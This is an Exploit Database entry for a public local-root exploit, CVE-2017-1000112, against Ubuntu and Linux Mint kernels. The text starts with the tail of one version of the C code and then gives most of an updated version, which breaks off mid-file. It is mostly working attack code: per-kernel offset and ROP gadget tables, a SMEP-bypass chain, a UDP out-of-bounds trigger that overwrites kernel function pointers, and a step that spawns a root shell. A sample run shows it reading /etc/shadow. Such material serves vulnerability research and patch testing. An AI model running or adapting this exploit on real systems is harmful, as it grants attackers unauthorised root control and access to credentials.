buffer, unsigned long func) { struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; memset(ssi, 0, sizeof(*ssi)); ssi->tx_flags = 0xff; ssi->destructor_arg = (uint64_t)&ui; ssi->nr_frags = 0; ssi->frag_list = 0; ui.callback = func; } // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * #define SHINFO_OFFSET 3164 void oob_execute(unsigned long payload) { char buffer[4096]; memset(&buffer[0], 0x42, 4096); init_skb_buffer(&buffer[SHINFO_OFFSET], payload); int s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) { perror("[-] socket()"); exit(EXIT_FAILURE); } struct sockaddr_in addr; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(8000); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); if (connect(s, (void*)&addr, sizeof(addr))) { perror("[-] connect()"); exit(EXIT_FAILURE); } int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); int rv = send(s, buffer, size, MSG_MORE); if (rv != size) { perror("[-] send()"); exit(EXIT_FAILURE); } int val = 1; rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); if (rv != 0) { perror("[-] setsockopt(SO_NO_CHECK)"); exit(EXIT_FAILURE); } send(s, buffer, 1, 0); close(s); } // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * #define CHUNK_SIZE 1024 int read_file(const char* file, char* buffer, int max_length) { int f = open(file, O_RDONLY); if (f == -1) return -1; int bytes_read = 0; while (true) { int bytes_to_read = CHUNK_SIZE; if (bytes_to_read > max_length - bytes_read) bytes_to_read = max_length - bytes_read; int rv = read(f, &buffer[bytes_read], bytes_to_read); if (rv == -1) return -1; bytes_read += rv; if (rv == 0) return bytes_read; } } #define LSB_RELEASE_LENGTH 1024 void get_distro_codename(char* output, int max_length) { char buffer[LSB_RELEASE_LENGTH]; int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH); if (length == -1) { perror("[-] open/read(/etc/lsb-release)"); exit(EXIT_FAILURE); } const char *needle = "DISTRIB_CODENAME="; int needle_length = strlen(needle); char* found = memmem(&buffer[0], length, needle, needle_length); if (found == NULL) { printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); exit(EXIT_FAILURE); } int i; for (i = 0; found[needle_length + i] != '\n'; i++) { assert(i < max_length); assert((found - &buffer[0]) + needle_length + i < length); output[i] = found[needle_length + i]; } } void get_kernel_version(char* output, int max_length) { struct utsname u; int rv = uname(&u); if (rv != 0) { perror("[-] uname())"); exit(EXIT_FAILURE); } assert(strlen(u.release) <= max_length); strcpy(&output[0], u.release); } #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) #define DISTRO_CODENAME_LENGTH 32 #define KERNEL_VERSION_LENGTH 32 void detect_versions() { char codename[DISTRO_CODENAME_LENGTH]; char version[KERNEL_VERSION_LENGTH]; get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); int i; for (i = 0; i < ARRAY_SIZE(kernels); i++) { if (strcmp(&codename[0], kernels[i].distro) == 0 && strcmp(&version[0], kernels[i].version) == 0) { printf("[.] kernel version '%s' detected\n", kernels[i].version); kernel = i; return; } } printf("[-] kernel version not recognized\n"); exit(EXIT_FAILURE); } #define PROC_CPUINFO_LENGTH 4096 // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP int smap_smep_enabled() { char buffer[PROC_CPUINFO_LENGTH]; int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH); if (length == -1) { perror("[-] open/read(/proc/cpuinfo)"); exit(EXIT_FAILURE); } int rv = 0; char* found = memmem(&buffer[0], length, "smep", 4); if (found != NULL) rv += 1; found = memmem(&buffer[0], length, "smap", 4); if (found != NULL) rv += 2; return rv; } void check_smep_smap() { int rv = smap_smep_enabled(); if (rv >= 2) { printf("[-] SMAP detected, no bypass available\n"); exit(EXIT_FAILURE); } #if !ENABLE_SMEP_BYPASS if (rv >= 1) { printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); exit(EXIT_FAILURE); } #endif } // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { close(fd); return false; } close(fd); return true; } void setup_sandbox() { int real_uid = getuid(); int real_gid = getgid(); if (unshare(CLONE_NEWUSER) != 0) { printf("[!] unprivileged user namespaces are not available\n"); perror("[-] unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (unshare(CLONE_NEWNET) != 0) { perror("[-] unshare(CLONE_NEWUSER)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/setgroups", "deny")) { perror("[-] write_file(/proc/self/set_groups)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { perror("[-] write_file(/proc/self/uid_map)"); exit(EXIT_FAILURE); } if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { perror("[-] write_file(/proc/self/gid_map)"); exit(EXIT_FAILURE); } cpu_set_t my_set; CPU_ZERO(&my_set); CPU_SET(0, &my_set); if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { perror("[-] sched_setaffinity()"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo mtu 1500") != 0) { perror("[-] system(/sbin/ifconfig lo mtu 1500)"); exit(EXIT_FAILURE); } if (system("/sbin/ifconfig lo up") != 0) { perror("[-] system(/sbin/ifconfig lo up)"); exit(EXIT_FAILURE); } } void exec_shell() { char* shell = "/bin/bash"; char* args[] = {shell, "-i", NULL}; execve(shell, args, NULL); } bool is_root() { // We can't simple check uid, since we're running inside a namespace // with uid set to 0. Try opening /etc/shadow instead. int fd = open("/etc/shadow", O_RDONLY); if (fd == -1) return false; close(fd); return true; } void check_root() { printf("[.] checking if we got root\n"); if (!is_root()) { printf("[-] something went wrong =(\n"); return; } printf("[+] got r00t ^_^\n"); exec_shell(); } int main(int argc, char** argv) { printf("[.] starting\n"); printf("[.] checking distro and kernel versions\n"); detect_versions(); printf("[~] done, versions looks good\n"); printf("[.] checking SMEP and SMAP\n"); check_smep_smap(); printf("[~] done, looks good\n"); printf("[.] setting up namespace sandbox\n"); setup_sandbox(); printf("[~] done, namespace sandbox set up\n"); #if ENABLE_KASLR_BYPASS printf("[.] KASLR bypass enabled, getting kernel addr\n"); KERNEL_BASE = get_kernel_addr(); printf("[~] done, kernel text: %lx\n", KERNEL_BASE); #endif printf("[.] commit_creds: %lx\n", COMMIT_CREDS); printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); unsigned long payload = (unsigned long)&get_root; #if ENABLE_SMEP_BYPASS printf("[.] SMEP bypass enabled, mmapping fake stack\n"); mmap_stack(); payload = XCHG_EAX_ESP_RET; printf("[~] done, fake stack mmapped\n"); #endif printf("[.] executing payload %lx\n", payload); oob_execute(payload); printf("[~] done, should be root now\n"); check_root(); return 0; }
Exploit Database EDB-ID : 47169

Publication date : 2018-12-28 23h00 +00:00
Author : bcoles
EDB Verified : No

// A proof-of-concept local root exploit for CVE-2017-1000112. // Includes KASLR and SMEP bypasses. No SMAP bypass. // Tested on: // - Ubuntu trusty 4.4.0 kernels // - Ubuntu xenial 4.4.0 and 4.8.0 kernels // - Linux Mint rosa 4.4.0 kernels // - Linux Mint sarah 4.8.0 kernels // - Zorin OS 12.1 4.4.0-39 kernel // // Usage: // user@ubuntu:~$ uname -a // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux // user@ubuntu:~$ whoami // user // user@ubuntu:~$ id // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) // user@ubuntu:~$ gcc pwn.c -o pwn // user@ubuntu:~$ ./pwn // [.] starting // [.] checking kernel version // [.] kernel version '4.8.0-58-generic' detected // [~] done, version looks good // [.] checking SMEP and SMAP // [~] done, looks good // [.] setting up namespace sandbox // [~] done, namespace sandbox set up // [.] KASLR bypass enabled, getting kernel addr // [~] done, kernel text: ffffffffae400000 // [.] commit_creds: ffffffffae4a5d20 // [.] prepare_kernel_cred: ffffffffae4a6110 // [.] SMEP bypass enabled, mmapping fake stack // [~] done, fake stack mmapped // [.] executing payload ffffffffae40008d // [~] done, should be root now // [.] checking if we got root // [+] got r00t ^_^ // root@ubuntu:/home/user# whoami // root // root@ubuntu:/home/user# id // uid=0(root) gid=0(root) groups=0(root) // root@ubuntu:/home/user# cat /etc/shadow // root:!:17246:0:99999:7::: // daemon:*:17212:0:99999:7::: // bin:*:17212:0:99999:7::: // sys:*:17212:0:99999:7::: // ... // // Andrey Konovalov <andreyknvl@gmail.com> // --- // Updated by <bcoles@gmail.com> // - support for distros based on Ubuntu kernel // - additional kernel targets // - additional KASLR bypasses // https://github.com/bcoles/kernel-exploits/tree/master/CVE-2017-1000112 #define _GNU_SOURCE #include <fcntl.h> #include <sched.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <linux/socket.h> #include <netinet/ip.h> #include <sys/klog.h> #include <sys/mman.h> #include <sys/utsname.h> #define DEBUG #ifdef DEBUG # define dprintf printf #else # define dprintf #endif #define ENABLE_KASLR_BYPASS 1 #define ENABLE_SMEP_BYPASS 1 char* SHELL = "/bin/bash"; // Will be overwritten if ENABLE_KASLR_BYPASS is enabled. unsigned long KERNEL_BASE = 0xffffffff81000000ul; // Will be overwritten by detect_kernel(). int kernel = -1; struct kernel_info { const char* distro; const char* version; uint64_t commit_creds; uint64_t prepare_kernel_cred; uint64_t xchg_eax_esp_ret; uint64_t pop_rdi_ret; uint64_t mov_dword_ptr_rdi_eax_ret; uint64_t mov_rax_cr4_ret; uint64_t neg_rax_ret; uint64_t pop_rcx_ret; uint64_t or_rax_rcx_ret; uint64_t xchg_eax_edi_ret; uint64_t mov_cr4_rdi_ret; uint64_t jmp_rcx; }; struct kernel_info kernels[] = { { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, { "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b }, { "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b }, { "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, { "trusty", "4.4.0-87-generic", 0x9ec20, 0x9ef00, 0x8a, 0x253b93, 0x109a17, 0x1a840, 0x3e7cda, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b }, { "trusty", "4.4.0-89-generic", 0x9ec30, 0x9ef10, 0x8a, 0x3ec5cF, 0x109a27, 0x1a830, 0x3e7fba, 0x1cc7c, 0x77523, 0x49d1d, 0x62360, 0x1a77b }, { "xenial", "4.4.0-81-generic", 0xa2800, 0xa2bf0, 0x8a, 0x3eb4ad, 0x112697, 0x1b9c0, 0x40341a, 0x1de6c, 0x7a453, 0x125787, 0x64580, 0x49ed0 }, { "xenial", "4.4.0-89-generic", 0xa28a0, 0xa2c90, 0x8a, 0x33e60d, 0x112777, 0x1b9b0, 0x403a1a, 0x1de5c, 0x7a483, 0x1084e5, 0x645b0, 0x3083d }, { "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, { "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 }, { "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, // { "xenial", "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x4149ad, 0x1191f7, 0x1b170, 0x439d7a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df1b }, // { "xenial", "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x8d, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0xb2df17 }, { "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 }, { "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-51-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-53-generic", 0xa5d00, 0xa60f0, 0x8d, 0x301f2d, 0x119207, 0x01b170, 0x43a0da, 0x63e843, 0x07bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 }, { "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 }, }; // Used to get root privileges. #define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds) #define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred) // Used when ENABLE_SMEP_BYPASS is used. // - xchg eax, esp ; ret // - pop rdi ; ret // - mov dword ptr [rdi], eax ; ret // - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret // - neg rax ; ret // - pop rcx ; ret // - or rax, rcx ; ret // - xchg eax, edi ; ret // - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret // - jmp rcx #define XCHG_EAX_ESP_RET (KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret) #define POP_RDI_RET (KERNEL_BASE + kernels[kernel].pop_rdi_ret) #define MOV_DWORD_PTR_RDI_EAX_RET (KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret) #define MOV_RAX_CR4_RET (KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret) #define NEG_RAX_RET (KERNEL_BASE + kernels[kernel].neg_rax_ret) #define POP_RCX_RET (KERNEL_BASE + kernels[kernel].pop_rcx_ret) #define OR_RAX_RCX_RET (KERNEL_BASE + kernels[kernel].or_rax_rcx_ret) #define XCHG_EAX_EDI_RET (KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret) #define MOV_CR4_RDI_RET (KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret) #define JMP_RCX (KERNEL_BASE + kernels[kernel].jmp_rcx) // * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred); void get_root(void) { ((_commit_creds)(COMMIT_CREDS))( ((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)); } // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * uint64_t saved_esp; // Unfortunately GCC does not support `__atribute__((naked))` on x86, which // can be used to omit a function's prologue, so I had to use this weird // wrapper hack as a workaround. Note: Clang does support it, which means it // has better support of GCC attributes than GCC itself. Funny. void wrapper() { asm volatile (" \n\ payload: \n\ movq %%rbp, %%rax \n\ movq $0xffffffff00000000, %%rdx \n\ andq %%rdx, %%rax \n\ movq %0, %%rdx \n\ addq %%rdx, %%rax \n\ movq %%rax, %%rsp \n\ call get_root \n\ ret \n\ " : : "m"(saved_esp) : ); } void payload(); #define CHAIN_SAVE_ESP \ *stack++ = POP_RDI_RET; \ *stack++ = (uint64_t)&saved_esp; \ *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; #define SMEP_MASK 0x100000 #define CHAIN_DISABLE_SMEP \ *stack++ = MOV_RAX_CR4_RET; \ *stack++ = NEG_RAX_RET; \ *stack++ = POP_RCX_RET; \ *stack++ = SMEP_MASK; \ *stack++ = OR_RAX_RCX_RET; \ *stack++ = NEG_RAX_RET; \ *stack++ = XCHG_EAX_EDI_RET; \ *stack++ = MOV_CR4_RDI_RET; #define CHAIN_JMP_PAYLOAD \ *stack++ = POP_RCX_RET; \ *stack++ = (uint64_t)&payload; \ *stack++ = JMP_RCX; void mmap_stack() { uint64_t stack_aligned, stack_addr; int page_size, stack_size, stack_offset; uint64_t* stack; page_size = getpagesize(); stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); stack_addr = stack_aligned - page_size * 4; stack_size = page_size * 8; stack_offset = XCHG_EAX_ESP_RET % page_size; stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); if (stack == MAP_FAILED || stack != (void*)stack_addr) { dprintf("[-] mmap()\n"); exit(EXIT_FAILURE); } stack = (uint64_t*)((char*)stack_aligned + stack_offset); CHAIN_SAVE_ESP; CHAIN_DISABLE_SMEP; CHAIN_JMP_PAYLOAD; } // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * struct ubuf_info { uint64_t callback; // void (*callback)(struct ubuf_info *, bool) uint64_t ctx; // void * uint64_t desc; // unsigned long }; struct skb_shared_info { uint8_t nr_frags; // unsigned char uint8_t tx_flags; // __u8 uint16_t gso_size; // unsigned short uint16_t gso_segs; // unsigned short uint16_t gso_type; // unsigned short uint64_t frag_list; // struct sk_buff * uint64_t hwtstamps; // struct skb_shared_hwtstamps uint32_t tskey; // u32 uint32_t ip6_frag_id; // __be32 uint32_t dataref; // atomic_t uint64_t destructor_arg; // void * uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; }; struct ubuf_info ui; void init_skb_buffer(char* buffer, unsigned long func) { struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; memset(ssi, 0, sizeof(*ssi)); ssi->tx_flags = 0xff; ssi->destructor_arg = (uint64_t)&ui; ssi->nr_frags = 0; ssi->frag_list = 0; ui.callback = func; } // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * #define SHINFO_OFFSET 3164 void oob_execute(unsigned long payload) { char buffer[4096]; memset(&buffer[0], 0x42, 4096); init_skb_buffer(&buffer[SHINFO_OFFSET], payload); int s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) { dprintf("[-] socket()\n"); exit(EXIT_FAILURE); } struct sockaddr_in addr; memset(&addr, 0, sizeof(addr)); addr.sin_family = AF_INET; addr.sin_port = htons(8000); addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); if (connect(s, (void*)&addr, sizeof(addr))) { dprintf("[-] connect()\n"); exit(EXIT_FAILURE); } int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); int rv = send(s, buffer, size, MSG_MORE); if (rv != size) { dprintf("[-] send()\n"); exit(EXIT_FAILURE); } int val = 1; rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); if (rv != 0) { dprintf("[-] setsockopt(SO_NO_CHECK)\n"); exit(EXIT_FAILURE); } send(s, buffer, 1, 0); close(s); } // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * #define CHUNK_SIZE 1024 int read_file(const char* file, char* buffer, int max_length) { int f = open(file, O_RDONLY); if (f == -1) return -1; int bytes_read = 0; while (true) { int bytes_to_read = CHUNK_SIZE; if (bytes_to_read > max_length - bytes_read) bytes_to_read = max_length - bytes_read; int rv = read(f, &buffer[bytes_read], bytes_to_read); if (rv == -1) return -1; bytes_read += rv; if (rv == 0) return bytes_read; } } #define LSB_RELEASE_LENGTH 1024 void get_distro_codename(char* output, int max_length) { char buffer[LSB_RELEASE_LENGTH]; char* path = "/etc/lsb-release"; int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH); if (length == -1) { dprintf("[-] open/read(%s)\n", path); exit(EXIT_FAILURE); } const char *needle = "DISTRIB_CODENAME="; int needle_length = strlen(needle); char* found = memmem(&buffer[0], length, needle, needle_length); if (found == NULL) { dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); exit(EXIT_FAILURE); } int i; for (i = 0; found[needle_length + i] != '\n'; i++) { if (i >= max_length) { exit(EXIT_FAILURE); } if ((found - &buffer[0]) + needle_length + i >= length) { exit(EXIT_FAILURE); } output[i] = found[needle_length + i]; } } struct utsname get_kernel_version() { struct utsname u; int rv = uname(&u); if (rv != 0) { dprintf("[-] uname()\n"); exit(EXIT_FAILURE); } return u; } #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) #define DISTRO_CODENAME_LENGTH 32 void detect_kernel() { char codename[DISTRO_CODENAME_LENGTH]; struct utsname u; u = get_kernel_version(); if (strstr(u.machine, "64") == NULL) { dprintf("[-] system is not using a 64-bit kernel\n"); exit(EXIT_FAILURE); } if (strstr(u.version, "-Ubuntu") == NULL) { dprintf("[-] system is not using an Ubuntu kernel\n"); exit(EXIT_FAILURE); } if (strstr(u.version, "14.04.1")) { strcpy(&codename[0], "trusty"); } else if (strstr(u.version, "16.04.1")) { strcpy(&codename[0], "xenial"); } else { get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); // Linux Mint kernel release mappings if (!strcmp(&codename[0], "qiana")) strcpy(&codename[0], "trusty"); if (!strcmp(&codename[0], "rebecca")) strcpy(&codename[0], "trusty"); if (!strcmp(&codename[0], "rafaela")) strcpy(&codename[0], "trusty"); if (!strcmp(&codename[0], "rosa")) strcpy(&codename[0], "trusty"); if (!strcmp(&codename[0], "sarah")) strcpy(&codename[0], "xenial"); if (!strcmp(&codename[0], "serena")) strcpy(&codename[0], "xenial"); if (!strcmp(&codename[0], "sonya")) strcpy(&codename[0], "xenial"); } int i; for (i = 0; i < ARRAY_SIZE(kernels); i++) { if (strcmp(&codename[0], kernels[i].distro) == 0 && strcmp(u.release, kernels[i].version) == 0) { dprintf("[.] kernel version '%s' detected\n", kernels[i].version); kernel = i; return; } } dprintf("[-] kernel version not recognized\n"); exit(EXIT_FAILURE); } #define PROC_CPUINFO_LENGTH 4096 // 0 - nothing, 1 - SMEP, 2 - 